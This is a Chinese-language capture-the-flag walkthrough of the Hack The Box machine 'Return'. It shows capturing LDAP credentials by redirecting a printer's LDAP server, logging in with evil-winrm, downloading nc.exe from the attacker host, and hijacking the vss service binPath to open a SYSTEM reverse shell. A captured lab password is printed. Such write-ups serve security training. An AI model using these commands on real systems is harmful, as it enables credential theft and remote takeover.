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本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务探测
┌──(root💀kali)-[~/htb/return]
└─# nmap -sV -Pn 10.10.11.108 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 22:40 EST
Nmap scan report for 10.10.11.108
Host is up (0.34s latency).
Not shown: 65508 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-11-28 04:22:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
22752/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
54599/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1426.09 seconds
可以看见开启了很多服务，http，SMB，ldap等
enum4linux没有发现可以匿名登录的分享文件夹
目录爆破没有可以利用的信息
活动目录
浏览器打开80端口服务，首页是一个打印机的展示页面
打开settings页面，展示了一个打印机的设置页。
我们用以下关键字
ldap windows printer 389 exploit
在谷歌找到了这篇文章
留意这段话：
To exploit this weakness, we simply need to reconfigure the MFP to use a different IP address for the LDAP server. Obviously, the selected IP address needs to be under our control and listening on port 389 (unsecured LDAP). When the MFP eventually makes an LDAP query, it should transmit the credentials back to us in plaintext.
当把Server Address字段换成一个我们可以控制的机器，ldap服务就会以明文返回一个管理密码
我们在settings页面，把Server Address改成10.10.14.15(就是tun0的地址)
同时，在我们的kali开启一个389端口的监听
点击update
收到ldap给我们的返回：
┌──(root💀kali)-[~/htb/return]
└─# nc -lnvp 389
listening on [any] 389 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.108] 63337
0*`%return\svc-printer�
1edFg43012!!
svc-printer是账户信息
1edFg43012!!就是管理密码
用evil-winrm连接，拿到初始shell
┌──(root💀kali)-[~/htb/return]
└─# evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!' 1 ⨯
Evil-WinRM shell v3.2
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
提权
查看本账号权限：
*Evil-WinRM* PS C:\Users\svc-printer\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
查看本账号信息：
*Evil-WinRM* PS C:\Users\svc-printer\desktop> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 12:15:13 AM
Password expires Never
Password changeable 5/27/2021 12:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/30/2021 8:10:04 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
留意我们在Server Operators组中，因此 我们拥有修改服务配置，重启服务的权限
把nc从kali下载到靶机：
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.15:8000/nc.exe','C:\Users\svc-printer\desktop\nc.exe')"
修改vss服务的二进制文件路径
sc.exe config vss binPath="C:\Users\svc-printer\desktop\nc.exe -e cmd.exe 10.10.14.15 4242"
与此同时在kali开启监听端口4242
nc -lnvp 4242
重启vss服务
*Evil-WinRM* PS C:\Users\svc-printer\desktop> sc.exe stop vss
[SC] ControlService FAILED 1062:
The service has not been started.
*Evil-WinRM* PS C:\Users\svc-printer\desktop> sc.exe start vss
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
拿到system的反弹shell
┌──(root💀kali)-[~/htb/return]
└─# nc -lvnp 4242 1 ⨯
listening on [any] 4242 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.108] 61869
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
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